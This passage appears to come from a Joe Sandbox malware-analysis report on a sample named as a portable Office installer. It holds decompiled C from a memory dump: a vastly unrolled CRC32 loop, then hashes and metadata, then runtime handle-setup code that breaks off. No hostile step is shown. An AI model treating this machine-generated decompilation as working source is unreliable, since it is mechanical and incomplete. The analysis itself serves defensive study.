^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[6] & 0x000000ff ^ (((((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[4] & 0x000000ff ^ (((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[5] & 0x000000ff ^ ((((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[4] & 0x000000ff ^ (((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[7] & 0x000000ff ^ ((((((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[4] & 0x000000ff ^ (((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[5] & 0x000000ff ^ ((((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[4] & 0x000000ff ^ (((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[6] & 0x000000ff ^ (((((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[4] & 0x000000ff ^ (((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[5] & 0x000000ff ^ ((((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[4] & 0x000000ff ^ (((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[3] & 0x000000ff ^ ((_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[2] & 0x000000ff ^ (_t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0xeaba8 + ((_t76[1] & 0x000000ff ^ _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4);
							_t76 =  &(_t76[8]);
							_t82 = _t82 - 8;
							_t79 = _t79 - 1;
						} while (_t79 != 0);
					}
					if(_t82 != 0) {
						do {
							_t58 = _t58 >> 0x00000008 ^  *(0xeaba8 + (( *_t76 & 0x000000ff ^ _t58) & 0x000000ff) * 4);
							_t76 =  &(_t76[1]);
							_t82 = _t82 - 1;
						} while (_t82 != 0);
					}
					return  !_t58;
				} else {
					return 0;
				}
			}

0x000c5770
0x000c5775
0x000c577c
0x000c577f
0x000c5784
0x000c578d
0x000c5790
0x000c5830
0x000c5837
0x000c583a
0x000c583d
0x000c583d
0x000c5844
0x000c5847
0x000c5850
0x000c585d
0x000c5864
0x000c5867
0x000c5867
0x000c5850
0x000c5870
0x000c5777
0x000c577a
0x000c577a

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aa9a0bfef6f9b246de7642ccb8bbf5c88f910531708295f9876fd2304c07c3b
Instruction ID: 17e71fae320a3ad2accb4225eba0874cabab1831c3c4b6e90fa8d79fdc4127ce
Opcode Fuzzy Hash: 7aa9a0bfef6f9b246de7642ccb8bbf5c88f910531708295f9876fd2304c07c3b
Instruction Fuzzy Hash: 9421B0336748F249E7998B25EC63772B791DB4B302F4D027ED666DA483C62CE250D660

Uniqueness

Uniqueness Score: -1.00%

Function 000D5284, Relevance: 15.2, APIs: 10, Instructions: 219
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E000D5284(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t80;
				signed int _t84;
				long _t88;
				signed int _t92;
				signed int _t96;
				signed int _t97;
				signed char _t101;
				signed int _t103;
				intOrPtr _t104;
				intOrPtr* _t107;
				signed char _t109;
				long _t117;
				signed int _t126;
				signed int _t130;
				signed int _t131;
				signed int _t134;
				void** _t136;
				signed int _t138;
				void* _t139;
				signed int _t140;
				void** _t144;
				signed int _t146;
				void* _t147;
				signed int _t151;
				void* _t152;

				_push(0x64);
				_push(0xed488);
				E000D3B00(__ebx, __edi, __esi);
				E000CF0B6(__edx, 0xb);
				_t126 = 0;
				 *(_t152 - 4) = 0;
				_push(0x40);
				_t138 = 0x20;
				_push(_t138);
				_t80 = E000CFC25();
				_t130 = _t80;
				 *(_t152 - 0x24) = _t130;
				if(_t130 != 0) {
					 *0xf1760 = _t80;
					 *0xf1bf8 = _t138;
					while(1) {
						__eflags = _t130 - _t80 + 0x800;
						if(_t130 >= _t80 + 0x800) {
							break;
						}
						 *((short*)(_t130 + 4)) = 0xa00;
						 *_t130 =  *_t130 | 0xffffffff;
						 *(_t130 + 8) = _t126;
						 *(_t130 + 0x24) =  *(_t130 + 0x24) & 0x00000080;
						 *(_t130 + 0x24) =  *(_t130 + 0x24) & 0x0000007f;
						 *((short*)(_t130 + 0x25)) = 0xa0a;
						 *(_t130 + 0x38) = _t126;
						 *(_t130 + 0x34) = _t126;
						_t130 = _t130 + 0x40;
						 *(_t152 - 0x24) = _t130;
						_t80 =  *0xf1760; // 0x9befa8
					}
					GetStartupInfoW(_t152 - 0x74);
					__eflags =  *((short*)(_t152 - 0x42));
					if( *((short*)(_t152 - 0x42)) == 0) {
						while(1) {
							L27:
							 *(_t152 - 0x2c) = _t126;
							__eflags = _t126 - 3;
							if(_t126 >= 3) {
								break;
							}
							_t144 = (_t126 << 6) +  *0xf1760;
							 *(_t152 - 0x24) = _t144;
							__eflags =  *_t144 - 0xffffffff;
							if( *_t144 == 0xffffffff) {
								L31:
								_t144[1] = 0x81;
								__eflags = _t126;
								if(_t126 != 0) {
									_t65 = _t126 - 1; // -1
									asm("sbb eax, eax");
									_t88 =  ~_t65 + 0xfffffff5;
									__eflags = _t88;
								} else {
									_t88 = 0xfffffff6;
								}
								_t139 = GetStdHandle(_t88);
								__eflags = _t139 - 0xffffffff;
								if(_t139 == 0xffffffff) {
									L43:
									_t144[1] = _t144[1] | 0x00000040;
									 *_t144 = 0xfffffffe;
									_t92 =  *0xf1c98; // 0x9c0e08
									__eflags = _t92;
									if(_t92 != 0) {
										 *( *((intOrPtr*)(_t92 + _t126 * 4)) + 0x10) = 0xfffffffe;
									}
									goto L45;
								} else {
									__eflags = _t139;
									if(_t139 == 0) {
										goto L43;
									}
									_t96 = GetFileType(_t139);
									__eflags = _t96;
									if(_t96 == 0) {
										goto L43;
									}
									 *_t144 = _t139;
									_t97 = _t96 & 0x000000ff;
									__eflags = _t97 - 2;
									if(_t97 != 2) {
										__eflags = _t97 - 3;
										if(_t97 != 3) {
											L42:
											_t69 =  &(_t144[3]); // -989012
											InitializeCriticalSectionAndSpinCount(_t69, 0xfa0);
											_t144[2] = _t144[2] + 1;
											L45:
											_t126 = _t126 + 1;
											continue;
										}
										_t101 = _t144[1] | 0x00000008;
										__eflags = _t101;
										L41:
										_t144[1] = _t101;
										goto L42;
									}
									_t101 = _t144[1] | 0x00000040;
									goto L41;
								}
							}
							__eflags =  *_t144 - 0xfffffffe;
							if( *_t144 == 0xfffffffe) {
								goto L31;
							}
							_t144[1] = _t144[1] | 0x00000080;
							goto L45;
						}
						 *(_t152 - 4) = 0xfffffffe;
						E000D5529();
						_t84 = 0;
						__eflags = 0;
						L47:
						return E000D3B45(_t84);
					}
					_t103 =  *(_t152 - 0x40);
					__eflags = _t103;
					if(_t103 == 0) {
						goto L27;
					}
					_t131 =  *_t103;
					 *(_t152 - 0x1c) = _t131;
					_t104 = _t103 + 4;
					 *((intOrPtr*)(_t152 - 0x28)) = _t104;
					 *(_t152 - 0x20) = _t104 + _t131;
